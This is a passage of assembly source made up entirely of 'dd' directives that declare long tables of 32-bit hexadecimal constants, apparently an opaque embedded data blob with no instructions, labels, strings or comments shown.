		dd 1213EE00h, 1EC15039h, 38B66D62h, 6A59822Ah, 0AFF6E5AEh
		dd 65A77941h, 0C830E90h, 50C11B4h, 7AE2F7FAh, 128D0809h
		dd 0CE72AFF8h, 211C41A3h
		dd 0FA71547Eh, 4BEEFE2Ch, 0EB35C8F7h, 5A17F50Ah, 2D92B88Fh
		dd 102858EFh, 0E2B7CCE9h, 12B6FDBEh, 54DFB1A9h,	8044BA8Ah
		dd 12EF5DEEh, 0ADC4086Ch, 0DEF75905h, 8E441EEFh, 2D054240h
		dd 7D4B80DDh, 0C64E6E9h, 0FBE5BD62h, 6A81A2EBh,	0D7AF8B6Eh
		dd 0BB3CB905h, 0C59EE245h, 8BC461BAh, 0C03562FDh, 0AE965B4h
		dd 0EB3B9C1Fh, 0C4A9177h, 15E28E2Bh, 4FB7A5DEh,	33093CE8h
		dd 91E21A30h, 68F90377h, 0E9BB16C3h, 0A9AC84BFh, 0F9E9B0C3h
		dd 5DAC9DE3h, 0B180FEC6h, 0CE083CB3h, 34672096h, 9DFAC5EEh
		dd 0A04F11DBh, 0D0F70196h, 806EBF65h, 4F557CDCh, 0CE4B013Bh
		dd 5EE9FCE4h, 0EC581E1Eh, 0EF2B15F5h, 89C4A44Eh, 0F1DC7E25h
		dd 0C4704282h, 0F15E001Bh, 810F3C73h, 41121AE3h, 0AC1F297Bh
		dd 423830C5h, 0EBD62FFCh, 39CA0E00h, 1733EB3Bh,	960669E9h
		dd 0D995D91Ch, 0B10BC505h, 21976BC6h, 0EA17DB00h, 0E6DE7F31h
		dd 649BA85Eh, 2D6C9820h, 0DEA0CF4Eh, 6C03719Fh,	586146B0h
		dd 75247A90h, 4A56D860h, 0C4BAAC6Bh, 3EB9BCF1h,	0D952E1D3h
		dd 1CAE0455h, 0A04E2E00h, 265ABD9Eh, 0B2EE8013h, 0C4A26E0Ah
		dd 0C18A4041h, 0C787387Fh, 54285A6Bh, 0FDA5EF42h, 7470EBD9h
		dd 20EBD55h, 0E950CA6Ah, 237CD301h, 0A1FC0397h,	40150C75h
		dd 572C6152h, 0EEAED305h, 21ABE929h, 3AFA2D30h,	12F8C713h
		dd 0ABE7A117h, 8F04229h, 4C7197F3h, 0E4B8088h, 0C4C0DCF6h
		dd 58E230EDh, 0F2FCD2F0h, 0CAFE5018h, 3A282C0Ah, 9B045AD0h
		dd 0BB1421E9h, 44C21A98h, 9009CBD4h, 273BA67h, 0FE0A4C1Fh
		dd 2B218231h, 0EAE04AE4h, 0ADA2D734h, 0D2051D60h, 0A85B669Dh
		dd 9F0B68D2h, 18D3165Ah, 416A002Ch, 60CAE14Eh, 791FD090h
		dd 3D523FC5h, 0CA2A84B1h, 982CD64Bh, 56412568h,	0E9629674h
		dd 97315428h, 459A05F3h, 0D441BA53h, 307329E3h,	9C61F241h
		dd 6816C07Dh, 0C6CC4F5Fh, 43101AA6h, 951EF05h, 0A4AD199Fh
		dd 8BF891F4h, 86CFA4CBh, 401C562Dh, 0F955BED6h,	0DCA162BDh
		dd 0C6F4493Eh, 25665C50h, 6FA2BB0Fh, 59044A84h,	5B8E80EBh
		dd 4B4E1E1Ch, 0A23F68A1h, 0A4B284AAh, 0B91FEA17h, 0B866F681h
		dd 812BD5B4h, 2CBDE976h, 4CB64B85h, 34758A69h, 16799764h
		dd 3608254Ah, 1C9612EFh, 3578E5B5h, 6B233216h, 0B8C52C1Ch
		dd 46C049C1h, 1FFD2242h, 94F50144h, 5E2708C5h, 2A7BE5E9h
		dd 3CB50104h, 282A80AEh, 5AEE2CF0h, 0E9AD0405h,	0F0B2AF75h
		dd 3844BB02h, 8D8A36DEh, 0CC501691h, 108E1C70h,	262740E9h
		dd 3F0821FEh, 0C3DE2583h, 0CF800203h, 5F7CE28Eh, 59822BAEh
		dd 1143E620h, 53004FD2h, 0BED6851h, 591F0F3Eh, 0D3F9AEA0h
		dd 0F327E917h, 69E45AF0h, 1FDE04D9h, 5E3CF181h,	35E02278h
		dd 0E3C9CF7Fh, 0D1CA90E4h, 38658165h, 9BEC4BD0h, 24EF0B1h
		dd 36DC159h, 4D3E5D69h,	1F293413h, 0BE6349EEh, 64EFABDCh
		dd 0CCEA94C6h, 0DB9D5694h, 0D9680540h, 68CBEB32h, 599CA45Bh
		dd 24BD7BB7h, 7E8E1024h, 0C42C9807h, 936ED828h,	5EA16A11h
		dd 0B52DB0h, 811BFD0Bh,	730607E6h, 60F3548h, 6B84D5DCh
		dd 25E925BAh, 0DBA9C80h, 4A4B728Ch, 989FDB0h, 0C22159C8h
		dd 1C4B7904h, 2C83EB14h, 60A702F8h, 3E029F15h, 0F7277E76h
		dd 88ED1668h, 144BD513h, 0CF8BD7A1h, 69765908h,	2F0CD058h
		dd 0D17C5677h, 29AA0800h, 4A3D8D0Fh, 0D2C3E9BEh, 5984B505h
		dd 10318EBAh, 0B05F9FFBh, 6940FAECh, 68D80A31h,	9E3B7D57h
		dd 3D2A7E50h, 0E37A20D4h, 254AF0F4h, 9244B635h,	34B274ACh
		dd 3EA7ABA4h, 0D388530Bh, 54266345h, 70485402h,	0E9EAE80Bh
		dd 0CDBDD6DFh, 7CABEDEDh, 5C292752h, 36F602FFh,	6157493Ah
		dd 0CFD1CEh, 0F281060Ah, 7F99589Bh, 0E7D32927h,	681005F9h
		dd 10D61FC0h, 9FB63BA0h, 2809B151h, 8AB86BCEh, 6454075Eh
		dd 8211946Eh, 475C6B3Ch, 0AA2EAB4Fh, 4670FA0Dh,	8F61C9B6h
		dd 3023827Fh, 0A1E9FDCBh, 0F34B3A5Bh, 0F3AAC8C4h, 361724CAh
		dd 4DD31F4Ch, 6B1A64AFh, 0B47F32B2h, 50117F1h, 0FB06F123h
		dd 0CBBA2B75h, 68B12743h, 0BABC383h, 29B96F61h,	1BAD9F86h
		dd 0B2888096h, 574B0049h, 142FB7BFh, 0C7812E01h, 3A183B9Dh
		dd 0C0D90C86h, 2F25A2EDh, 3BD278Dh, 21DE21EFh, 3C30631Eh
		dd 0E20216A6h, 69BDE19Ch, 0BF361759h, 5F533C62h, 0DF0BD4C5h
		dd 0F0DB20EBh, 98D0295Eh, 7E5941B3h, 50B41880h,	7C277EF9h
		dd 958976CFh, 83412F1Eh, 525629A5h, 6B026726h, 416FE526h
		dd 0DABE8429h, 4A9AE90Bh, 0E02FF8C4h, 8006A1C1h, 0B22AAA9Ch
		dd 84E4D020h, 93C8A157h, 3A204161h, 0C657F8F1h,	4CA4B534h
		dd 28330F6Dh, 0D5CF953Bh, 0F111D23Fh, 8AA02BE8h, 0F020FEBh
		dd 55AB1807h, 0E56811A2h, 9120305Ah, 83665EEAh,	18D239CAh
		dd 98740B77h, 99930227h, 0ED6D8807h, 0C1C58025h, 7D9564B1h
		dd 615C327Dh, 8F81D61Bh, 0FEBF3FB0h, 0FC5CD5E2h, 0E8BD5212h
		dd 548ED925h, 285AD402h, 1C2045F8h, 0D5B825ABh,	0C7313060h
		dd 1ACF78FBh, 80FF1EE9h, 464B0E20h, 300CC342h, 0C0BF391Bh
		dd 0E21E10F7h, 2D4D3658h, 0A560D9A4h, 0CD0C9D68h, 0B0C3FE80h
		dd 3509B798h, 58F7B50Ah, 5E4CC580h, 2DEA52D9h, 0D7490BB2h
		dd 5C139015h, 5ED5C9B4h, 301BCF6Ah, 0B050A788h,	92CF909Eh
		dd 0E2C1281Ah, 135D2F95h, 0E0F89549h, 35802248h, 0C32D1ECBh
		dd 0C2089763h, 0EBE55DE1h, 22546880h, 585B653Eh, 0D310B231h
		dd 4C148C1h, 18C4493Ch,	405C4088h, 0B02B862h, 891D6D8Fh
		dd 97578C2h, 33F6307Fh,	8555A50Bh, 0A120550h, 2C2794A9h
		dd 0EAE361A3h, 201F74B9h, 0D44FB37Ch, 57B14DE2h, 273B3616h
		dd 0A5068FBFh, 42EF455Fh, 5AA2685Ch, 9D7766D5h,	7BA8E4Ch
		dd 53A513B3h, 0C9530855h, 0B10AA528h, 8065BC6Dh, 858AA516h
		dd 0B84E33C4h, 139CC4A9h, 45A1BCB8h, 0CFF78089h, 6D4A01F8h
		dd 253E24Fh, 760C6857h,	607D3378h, 2C14F119h, 38D317B2h
		dd 3A2A398Bh, 5788AA83h, 0A4C7450Eh, 89EF2011h,	95FFBh
		dd 5B0301DFh, 0B868585Ah, 5BFC3C53h, 0EAAC8344h, 0C85BE110h
		dd 0E25D21C4h, 0BFED5EF5h, 4E98F67Ch, 685F70DAh, 0CC170A2Ah
		dd 1131595Ch, 0BD00A1A5h, 21F8740Bh, 0DCA4895Bh, 0CC08049Fh
		dd 4DA010Ch, 9128ADDh, 0FB40256Ah, 0AF3A2D66h, 0F8011D28h
		dd 0E90E05D8h, 0F84454A0h, 0A50BDF67h, 95D0509h, 0EBBCF6E1h
		dd 0F4D9D705h, 0B165D2Fh, 3C0016EFh, 40D315AFh,	0D05B5EE9h
		dd 0B9FEA90h, 0EE280C28h, 0F82D54EAh, 83EA527Eh, 141C4108h
		dd 0A9C10F43h, 56823FAEh, 1607460Dh, 25E38075h,	26A59CBh
		dd 40543539h, 10E037B6h, 13177D97h, 5800D13Dh, 357AA6EEh
		dd 2B2B021h, 0CE406D0h,	46C80BE9h, 0C8B57368h, 96459347h
		dd 88E26803h, 5A16CEA4h, 201C1C07h, 0AFBD12CEh,	76402501h
		dd 42355862h, 0DC4B5D06h, 3AC7CC05h, 94BF73B1h,	0FF080564h
		dd 0F00BA32h, 6DD12502h, 479225E9h, 0C5CFF151h,	0CFFF6828h
		dd 76156B50h, 6115A8Ch,	87B93030h, 0E5DCBD4Bh, 0E2658283h
		dd 0C952DE25h, 0D4C52B7Dh, 51E9E1CAh, 429B4A43h, 9FA5C3Ch
		dd 0D8C0E957h, 0B94E4ADAh, 4FEB1034h, 0DA55ED5Bh, 7A6221h
		dd 90662CE1h, 8A0F1606h, 5BBEEC6Bh, 0DEF295FCh,	313091C9h
		dd 0A50B94h, 0C380F0B3h, 69870F12h, 6C5D93DCh, 1C5B2F24h
		dd 0D409B8F3h, 0A04EB680h, 80F2D7E0h, 2413BD55h, 0CFF06223h
		dd 33CCB14Ch, 8D2703F0h
		dd 6CA00E5h, 0B0703F0Eh, 0B5955061h, 9E49061h, 1BEA516Eh
		dd 16C40C84h, 18CB02BFh, 60D53B10h, 0CC2410Ah, 0EE297CA0h
		dd 565F95A4h, 50B95874h, 6AB33993h, 33E94BCCh, 4F4490A7h
		dd 346671B1h, 0DD76F703h, 0BDD874C7h, 5DEA31B1h, 21E21281h
		dd 2B63E920h, 0C649220Eh, 66710EE5h, 978B46CDh,	0DFBC34Ah
		dd 7B0E5D14h, 0D13ADCF5h, 6ADCE95Ah, 393B14F4h,	75C81D5Ah
		dd 12D3C902h, 33C344E1h, 69B4E9C0h, 893A4112h, 5F695FFBh
		dd 0F6B008DBh, 37A35F13h, 0B54A2924h, 3E95AEE2h, 7EE782h
		dd 68504E5Eh, 7F2F3F2Ch, 3A16DE68h, 9C4648F7h, 8EAC101h
		dd 505ACDE9h, 0EB2DD0F1h, 3EBB711Fh, 2590CE13h,	287598F5h
		dd 0BF93469h, 2F7B636Fh, 5811897Dh, 0D028C576h,	0A40E83E3h
		dd 0FEAC975Bh, 4C00353Fh, 302D236Ah, 241647CFh,	0CA08C229h
		dd 895809CAh, 0BF311677h, 7DD37B48h, 0DADB0D82h, 962433D1h
		dd 0E61095AAh, 0C809D299h, 510889F0h, 0E9FF4C6Bh, 59977571h
		dd 0AEEC273Eh, 7E957990h, 2D5EB2Eh, 4A7A996h, 806DBD45h
		dd 725A3CCEh, 0FEE630E9h, 80C4B65Bh, 0F11F602h,	57BED986h
		dd 80012745h, 8B0FCBE6h, 0A82A82CDh, 0E95AB035h, 9D1FD6B1h
		dd 0ADE23B4Ch, 4EFA7777h, 8D5C25Eh, 0B4CC3B72h,	17BA9347h
		dd 0AC300AD2h, 534104FDh, 7E802CF5h, 9784696Fh,	0FE0BF3F0h
		dd 58A13545h, 5452320Ah, 0F8EAD982h, 0F76B195Eh, 16D54A84h
		dd 120F2DA0h, 0AFBFEC89h, 0DDB91461h, 857D171Bh, 0FA1802F9h
		dd 885C0C9Ah, 7195E279h, 13762522h, 2407C62h, 96E2FD01h
		dd 4E324B57h, 249EA90Ch, 6B3EA35Fh, 422CFEFBh, 6D60F029h
		dd 0FE2656BFh, 151C460Dh, 0C02E9F4Eh, 0F254C3E5h, 840F1209h
		dd 2E41B1D5h, 57A32BB2h, 0E25E348h, 0A4CA32C1h,	42ECCD89h
		dd 99F0A5DFh, 7E076225h, 28D283D4h, 0EDB15AF5h,	0EDE5C155h
		dd 600D7C5h, 8D045865h,	0E92CE828h, 0BC4BD738h,	133C2138h
		dd 6724AA50h, 0F9EB29EFh, 58A95040h, 594D1188h,	72CA9F28h
		dd 0ED89CDBBh, 0A6840006h, 0FD609126h, 1DA693FDh, 5480099h
		dd 0F7BEE788h, 746268C0h, 972975A8h, 80467C2h, 0D2CB8958h
		dd 5B003A50h, 9C777005h, 50D8293Ch, 9053072Dh, 69C2004Ah
		dd 0F2816245h, 342404DBh, 9502444Eh, 4014B133h,	123AC956h
		dd 78936BEh, 296EE94Ah,	30020153h, 577F6456h, 8B7C26F0h
		dd 53C4FE91h, 4C6AF6AEh, 820F10E9h, 42935C2Fh, 659D16D9h
		dd 15A22FF4h, 9440E64Ch, 0D0060023h, 82D4058h, 5102BB43h
		dd 7ACEFD05h, 7824C284h, 66503778h, 8F4BFFE8h, 439B6F8h
		dd 0E89E284Bh, 53262C74h, 3D131850h, 0F8C0800h,	0D21B0C81h
		dd 0FE16049Eh, 230CC0CEh, 39CF2E9h, 0BE53AD07h,	65F117F0h
		dd 92CE6181h, 2F4E0A0Bh, 0D31EBDDh, 8005D202h, 6DE990E5h
		dd 7665BFA2h, 8B499813h, 2DA1FC5Ah, 0EE456ADCh,	0E976D0BBh
		dd 59B7977Dh, 0CE88F97h, 0E2F95364h, 2852364Fh,	0C7801213h
		dd 6885706Bh, 0A3B539DEh, 83FCB5FFh, 0DE59E2EFh, 316B28FAh
		dd 0F141918Eh, 0A22C2B9Dh, 0FEECFDDEh, 0C2B24AE9h, 0A9D7B8E9h
		dd 4B950020h, 9F51A244h, 804C26Ah, 5C91FB58h, 5C01D49Fh
		dd 122F3201h, 0F5953E4Dh, 5F0550EFh, 0A94E4894h, 5254897h
		dd 56D1014Bh, 37509080h, 0E9293DA8h, 405C08AEh,	4490398Eh
		dd 255D52C1h, 0C42A213Eh, 0D0CEC445h, 690305DFh, 29502B05h
		dd 7122DF8h, 81DF6406h,	5E569593h, 9F880F83h, 0E9180CAEh
		dd 2D0AEE99h, 835A6118h, 82116382h, 0CCD71C42h,	88D49630h
		dd 0BF00B6AAh, 7FE78ADh, 93EF0481h, 0BBBE503Eh,	0E7D2FBC1h
		dd 450FEE10h, 0C6EDE30h, 408479B3h, 2A3CCA1Ah, 41F4064h
		dd 956A7FEh, 0D002C3F0h, 3DA2A310h, 70465D25h, 0A60D995h
		dd 13FAE089h, 0A5A7F870h, 17055261h, 480EA16Dh,	0B452A97Ah
		dd 4E12516Dh, 5E014321h, 5A0E1967h, 83730C83h, 0BAF4C036h
		dd 1CA590Bh, 42146078h,	0CBC6A070h, 0C46282A5h,	0A682CCF7h
		dd 0C5406B0Dh, 572511E5h, 77E9F1B0h, 0FE2C7C60h, 90652CC0h
		dd 75DE70E0h, 58D5E5C6h, 6331298h, 522F6824h, 0B13E9046h
		dd 95CEE0C1h, 5D5000Bh,	0E84BE07Eh, 632D0955h, 0E8F5DA95h
		dd 1792B9DBh, 8926836Ah, 4D9CFCF0h, 7E674B95h, 0EF0084A4h
		dd 81FE875Dh, 0A4DDBF6h, 0DEF769CDh, 5C681A6h, 2FA5A6A1h
		dd 8E9A004h, 680AC5B8h,	0B8C6297Bh, 820E5824h, 0B1356C9h
		dd 0AEC1BC40h, 824AC870h, 8FB89C05h, 4721B3B5h,	6811606Ah
		dd 0C4BD6A8Ch, 20EA9C5h, 42F2847Bh, 3C83E9C5h, 0BECC99D7h
		dd 81E07670h, 49B9EB31h, 6ADD3A66h, 0C49923ECh,	461927B7h
		dd 4515E4ADh, 164E2D94h, 15670845h, 0F6C0E3C4h,	332356h
		dd 0B9514830h, 40D835D1h, 14E98104h, 0AAA9D38h,	2B153A1h
		dd 0BC50899h, 0B961D090h, 9880BD9Eh, 1203430h, 885A98F7h
		dd 0A68569Fh, 3E5A6B2Bh, 575512B5h, 0E195A9EBh,	0C26C30E9h
		dd 87415725h, 0D9542A41h, 0E5B20351h, 0F2F5B753h, 7156D8EEh
		dd 0BB459D59h, 487D9A80h, 0B1D9316Ch, 4F89619Ch, 0A7646B20h
		dd 9D295FEBh, 162BCDC5h, 2A70212Ah, 0C600CFCh, 174149EFh
		dd 0EC1CAC1h, 0A3207BE5h, 4FC98277h, 0E15C0370h, 46A5054Ah
		dd 0C925C953h, 8B50D306h, 706E0C1h, 0B55D9505h,	72D4D235h
		dd 12B51CD7h, 0A3236268h, 39B80034h, 0D06E173h,	550158FCh
		dd 0D28B0F06h, 58BF4488h, 0C0AC4A2Eh, 0B5E0D1EAh, 718B165Eh
		dd 420BD326h, 0C4A00A23h, 5559B4BFh, 0C931687Bh, 0FD884486h
		dd 907CABDDh, 5FA48A4Fh, 400B88D1h, 7608EA05h, 0EE3A42B9h
		dd 53F46807h, 1653CBEFh, 0B1F8D921h, 486C6882h,	89024775h
		dd 8358E4E9h, 8034B401h, 8F0FA5F4h, 377AE6F1h, 61600417h
		dd 0F76B74B5h, 5C5412DEh, 0D69DE8ADh, 8570BA48h, 0BD88C801h
		dd 5C282550h, 7E9510EBh, 800F82B0h, 8FFEE371h, 3A8A9C62h
		dd 2D64E6F7h, 2182F888h, 7608D37Ch, 7965046Bh, 3A66491Dh
		dd 6AD8C869h, 95A84812h, 973BB0D7h, 816BC341h, 728EF8Ah
		dd 97871649h, 0CDB6F5C0h, 2EC6CC97h, 624E31A3h,	0C6555854h
		dd 3DF7228Bh, 0AD85C389h, 0CA75D9B9h, 5EFC0842h, 0A81E1726h
		dd 0A9898244h, 0AF810B95h, 0E38B7065h, 0BBD5062Ah, 0B94212C3h
		dd 8947E9DEh, 5E55294Dh, 0EA862247h, 0EAD064DFh, 2EF6ABC9h
		dd 0C2708810h, 5AEDC8E9h, 6A7A27A8h, 60B71C64h,	7C0D21CCh
		dd 6343FE5Ch, 39A69FAFh, 0C2B50A5Bh, 5856922Bh,	1AB0E979h
		dd 4A476E9Ah, 404DFD40h, 46B55A08h, 0BB685C21h,	612E549h
		dd 6B3A89A5h, 5E560AF4h, 0EB2BCD51h, 6438348h, 4C374FCFh
		dd 0B0350970h, 0EF8B3C8h, 534E92Dh, 89FEBD6Ah, 8DE42AF2h
		dd 0EFD9678Fh, 5D5A72E6h, 82DFCEA9h, 7F100A05h,	0F9496DA4h
		dd 24F603B8h, 2FA4729Dh, 49985B94h, 52824FC2h, 0B57FF22Ch
		dd 4ADB098Bh, 7B055CBh,	8D02300Eh, 3A684603h, 9840465Dh
		dd 1453032Ah, 44E927BAh, 0CB016F16h, 0BAF51FBCh, 0DC135172h
		dd 170D6819h, 1096E85Dh, 80039FACh, 0EB884DC5h,	259E8CD1h
		dd 1F3F308Ah, 4FFC304Ah, 48D3680Ch, 62957D59h, 0C5F574CAh
		dd 0FBDABA56h, 21813E9Ah, 0C9E43D4Ah, 99C87042h, 0E79D1716h
		dd 2D8B8815h, 1775545Fh, 204FA069h, 8B4BF07Fh, 92BEED1Fh
		dd 0E6718D9Eh, 0B18B7B82h, 5610BF98h, 0B580BA0Bh, 97E5FAE3h
		dd 0A51680C2h, 2D507397h, 0CD2B2FA2h, 0BD4A5A06h, 0C96CF40Ah
		dd 380F4840h, 0FB82399Eh
		dd 0D8C7350Ch, 0A6C3BF8Bh, 0AEE8D4A5h, 0EE611D61h, 0F1095207h
		dd 7DD323DFh, 0D9579B1Ah, 16B86302h, 0B304D80Eh, 0E879B4Bh
		dd 3E17E2B0h, 0B5B3BD05h, 73269400h, 0CEF28102h, 235B0802h
		dd 5540A868h, 2AA64398h, 0DC78AD2Dh, 0ACC82758h, 6C287135h
		dd 9838C815h, 0D2A12F76h, 3A20226Ah, 0D73F31Dh,	19F80496h
		dd 0A935A44Eh, 14889204h, 0ACFCF331h, 9CAE2713h, 683B5756h
		dd 85AACD4Ch, 0CDEE80FBh, 3A454DDh, 4D744EC6h, 0A6AAAC85h
		dd 310F80ECh, 512BBCD6h, 0BA14253h, 2C3B0D50h, 4FDCDCB3h
		dd 0BAE490ECh, 3EC24534h, 9C610EBEh, 6E5E6203h,	15836DC5h
		dd 6ED4C9E0h, 3DB5A42Ah, 0D1603C41h, 3AF30BEDh,	3D7C3010h
		dd 0E11DE93Eh, 0BD2A1F9h, 306C837Dh, 0B4654B39h, 7441018Fh
		dd 8B3880F9h, 89E6BB1Eh, 0A7506218h, 0A569429Dh, 0F5B2050Ah
		dd 6AE29778h, 27E3BED7h, 54C071E9h, 0CE5BFE58h,	5E66804h
		dd 602E62FBh, 0F2DD9DAh, 4E5FFEAFh, 15D9364Bh, 2B2A298Eh
		dd 158A7F70h, 3EC3FFEh,	3F2CDF0Ch, 730B3A33h, 9D1B5C0Eh
		dd 0B150F2EFh, 0FCCF3561h, 6FCF7F29h, 0D468A258h, 0BB0FF449h
		dd 87F1C7AFh, 1B14EB1h,	598B8E7Ch, 0BB37A75Dh, 675C3120h
		dd 46482CE9h, 0D30E6973h, 1C68FA17h, 0D484830Ch, 0B631BEE5h
		dd 0EE15C2A8h, 93DCE6C6h, 0F5680D72h, 0F0F0038Fh, 82347520h
		dd 0A6B354AFh, 3F210E61h, 0A0513330h, 24F5B00Dh, 4C85266Ah
		dd 2E62DD0h, 1270E697h,	0FA8F38E9h, 8E704A21h, 4A68E864h
		dd 2E31AC67h, 0C19CAD5Ah, 66BE0560h, 8275D176h,	540742A5h
		dd 0E7F05165h, 240BF64h, 338135B2h, 0FA5B612Fh,	856801B1h
		dd 637D9176h, 0EDD13399h, 3B54F1BAh, 8068B107h,	0CA88D4F0h
		dd 0D1302F59h, 4DAE6526h, 90AC545Fh, 3CA77AB9h,	0FF151407h
		dd 96C7C045h, 4A13244Eh, 0A7A46AE9h, 0B7250BEDh, 0ED637579h
		dd 4DB24006h, 0B0C49C5h, 71D376C7h, 8A06E76h, 0A056459Fh
		dd 31E9131Ch, 0FCCA20CDh, 0CAB0C343h, 29EE342Dh, 994884B6h
		dd 0E0453DF7h, 1667F26Bh, 0D5B33501h, 1F2BB512h, 541B576Bh
		dd 9612CD40h, 83516503h, 0F89DD14Ah, 5CA5963Ch,	0B7BD1C30h
		dd 0B02D1210h, 2506D23Dh, 0DF636A01h, 0C89F2A1Eh, 80F9FB17h
		dd 0A2BDE688h, 688658F6h, 828EFD80h, 0F4470C55h, 0E9CAB209h
		dd 0E78C8C6Bh, 5A03FD96h, 0CA65C180h, 7DBC4A9Fh, 575CC592h
		dd 0C624742Fh, 883B61D2h, 0D71493ECh, 0F7051190h, 3D2095D8h
		dd 3C267D0Ah, 0FE358BFh, 144DB19h, 80BD8FAh, 750D925Dh
		dd 9D8BA286h, 0E66BA44h, 9C46EA81h, 6790ACB2h, 0C67F4713h
		dd 0E710C229h, 5408004h, 2DFA1C2Eh, 0E913E9B8h,	4F515B9Bh
		dd 720F48E0h, 604EA5F8h, 0EA7B64F7h, 70DD9A95h,	23A2D77h
		dd 0F98764FEh, 579220Bh, 70A0551h, 29901553h, 0C3895D0Ch
		dd 0CC833F4Ah, 215DC2ABh, 0B712CCD5h, 179930Ch,	10E7FA49h
		dd 552EDD39h, 4AD61075h, 0FD4A7BFCh, 6DD0850Bh,	0DD12DCA9h
		dd 238BBE76h, 42475124h, 0B25F5457h, 139D7B3Dh,	226FACEFh
		dd 0A0E91602h, 0FB355245h, 0CACCC417h, 0B8E9128h, 6DEF908h
		dd 478F0C52h, 0F1DB221h, 0F181E1D1h, 65C202A2h,	8A240140h
		dd 0D4282E27h, 4D1F0DF5h, 7CA2D971h, 12B84A8Fh,	0A569BE1h
		dd 5C20A858h, 56E08A2Fh, 18225C78h, 780AFD7Ch, 5115B9Dh
		dd 0EAAEDBE9h, 91AE3D35h, 6B2DC162h, 91C85E38h,	825912B4h
		dd 0FF60B07Bh, 22C00F6Ch, 3D227A35h, 8A649766h,	7F3E301Fh
		dd 675B6845h, 1302FAD8h, 13382132h, 60D33797h, 77496B4Eh
		dd 1465148h, 173129F2h,	9641DBF7h, 0B33FA548h, 20C68EB8h
		dd 0DAE95B51h, 0EF4FC099h, 0C0E3F7C9h, 80454497h, 2411C883h
		dd 21164F6h, 91E28D7h, 0E21582D5h, 0DD540D59h, 5ED46DD8h
		dd 1CB54CF8h, 0E9C5C448h, 0EFFDD5CDh, 5CFC9AC4h, 0CAB814E2h
		dd 0A2B2E1E9h, 258EB91Fh, 0BE931C1Eh, 4B31E5B0h, 35D237C1h
		dd 0E90820DEh, 9DDDD390h, 0DD945C89h, 0BB5E9430h, 0C5D65481h
		dd 0D7E98D6Ch, 0C8B73A69h, 6E54294Eh, 409C5123h, 0A359513h
		dd 33461978h, 0E3B70BCBh, 4C149F9h, 0C12A5C44h,	282FE9F9h
		dd 55FF40DBh, 31E7651Eh, 831836ECh, 2C118819h, 24E60906h
		dd 6E9F081Ah, 123C95A4h, 2DE90A2Ch, 0B645297Fh,	4A70FEAh
		dd 80D20B6Eh, 0D154E1D6h, 0F5CA1E50h, 0DDE507A2h, 4AA46724h
		dd 0EBA3E905h, 189C2801h, 0C77B1379h, 2F28B8CBh, 497A7228h
		dd 0B10828B1h, 5DFEA7B2h, 0A3845FC9h, 683DD0BFh, 0CC952588h
		dd 8172A01Eh, 4BF42E7Ch, 1D1050Dh, 5EAA8386h, 28FA1694h
		dd 0DD246857h, 21D02B4Ch, 0DA98372h, 6FF87531h,	6B7C6091h
		dd 23D7D202h, 1630FBFDh, 0BB05132Fh, 0CCEC1735h, 0A0EBB4C5h
		dd 0CC75FEE1h, 807302FAh, 42E91E09h, 0EFD87484h, 0E535EBC5h
		dd 0B151D4B2h, 16C38348h, 0A7F8F602h, 0BB02F220h, 7061762Dh
		dd 1A967589h, 0D909CDECh, 0F463C718h, 8ADD0941h, 0D581CF64h
		dd 6120C1D6h, 408E04BDh, 984655B5h, 48005852h, 4C749735h
		dd 2D8B0F0Ch, 0BDF69543h, 15EED1D8h, 0F9D248E9h, 7EEEB74Eh
		dd 0F36A9230h, 2E9FAAC2h, 12CFFE08h, 0DCC9EDDBh, 4552DEAFh
		dd 5EB54946h, 67FDA4D7h, 672906E1h, 0B27BB912h,	48F884A6h
		dd 0CC01EB12h, 157A4D65h, 2A4E993Ah, 9A2EF88Ch,	0B8D6975Ah
		dd 9E3EE978h, 0CB2C3855h, 54564200h, 1F2E4D5h, 782BD5BAh
		dd 0F0D6314Dh, 7AA04A5Fh, 0AA3B71E6h, 0DCF2002Dh, 0F7F1F01h
		dd 3F75E87h, 0A40BE93Dh, 0C1290B3Ch, 666CF5FDh,	0B443E84Bh
		dd 13DCB201h, 568012C0h, 3D2C239Bh, 8225E94Ah, 625676E3h
		dd 31D7C330h, 446A51B2h, 0D5CCE9ADh, 0D34DA231h, 0D6D1EF09h
		dd 796870E7h, 0A2EC204Bh, 0E8EE81B0h, 5397F18h,	0D4B9E32h
		dd 0D60109A2h, 1C08061Ch, 984E1483h, 0A320E62Dh, 129BCB7h
		dd 0F608EDC0h, 3274E8DDh, 0E22E4A9Dh, 0D742DF50h, 0E961925Eh
		dd 26802F8Fh, 0DE0C355Ah, 894B1D58h, 1721ABB5h,	116EF2Ch
		dd 0A27E16CFh, 43061B64h, 5E5E03Bh, 7BCE3E6Ch, 5BC08B25h
		dd 35276859h, 72839844h, 3B53B7C6h, 51D5B10Bh, 24192479h
		dd 0FEBD826Ch, 0DE807F78h, 971DA8EDh, 0E70C7361h, 0C0FA7174h
		dd 24458C8Bh, 2F7FE391h, 895B5F14h, 0AB4E27A9h,	8DE94004h
		dd 2F689988h, 23F10538h, 0B5E9E682h, 279845A7h,	0BF0AF1F3h
		dd 31C31198h, 7CEE93F5h, 1F8AEC08h, 17670FBFh, 4F7051E8h
		dd 0C2EEE9C2h, 6AD4A2D5h, 0FA9122B9h, 0CC9A977Eh, 33236006h
		dd 5C9AB5FCh, 851B352h,	12E02EF9h, 0E9C30B5Eh, 66DA2E3Ch
		dd 91EBD8A0h, 1FD22310h, 3A6B1004h, 13E524h, 0C4A6808h
		dd 0D8035693h, 0E9798E09h, 0B3BD5E15h, 0D7903E20h, 0FC860312h
		dd 0D4098419h, 0E130DCD9h, 0E2881CEFh, 15FEE558h, 3FC1D05Ah
		dd 2CC030D8h, 0C09E8E70h, 0E80CB519h, 79C659F1h, 0A4B14060h
		dd 7598C980h, 0F4386327h, 0B7BD62D1h, 0DCEB5F05h, 42027C15h
		dd 7E0C17Bh, 966D6850h,	0C0D673F7h, 360D580Fh, 6775A14Ah
		dd 4454136h, 68050932h,	6E517CFCh, 0B65C9B82h, 0E7C05D7Eh
		dd 0E7BFF99Eh, 0D5512F25h, 8BAC5C94h, 1D887568h, 249910A7h
		dd 5A13FC5Dh, 0E9561E60h, 0E39F4E7Eh, 1D453297h, 46D0E05Ch
		dd 9CB980DEh, 947E0838h, 739BCD21h, 555DFA0Bh, 0F89A7F67h
		dd 5F9E84FDh, 0B8A088AFh, 71482E1Eh, 78BE2DBh, 28D1B6A5h
		dd 0D384C3F7h, 43E52F01h, 452A7A6Eh, 546AA4F1h,	0FD4A6E37h
		dd 0FE8B5BDDh, 48BA0F10h
		dd 602704C7h, 0BEF81D28h, 4DAF717h, 9B97884h, 0F5E7575Eh
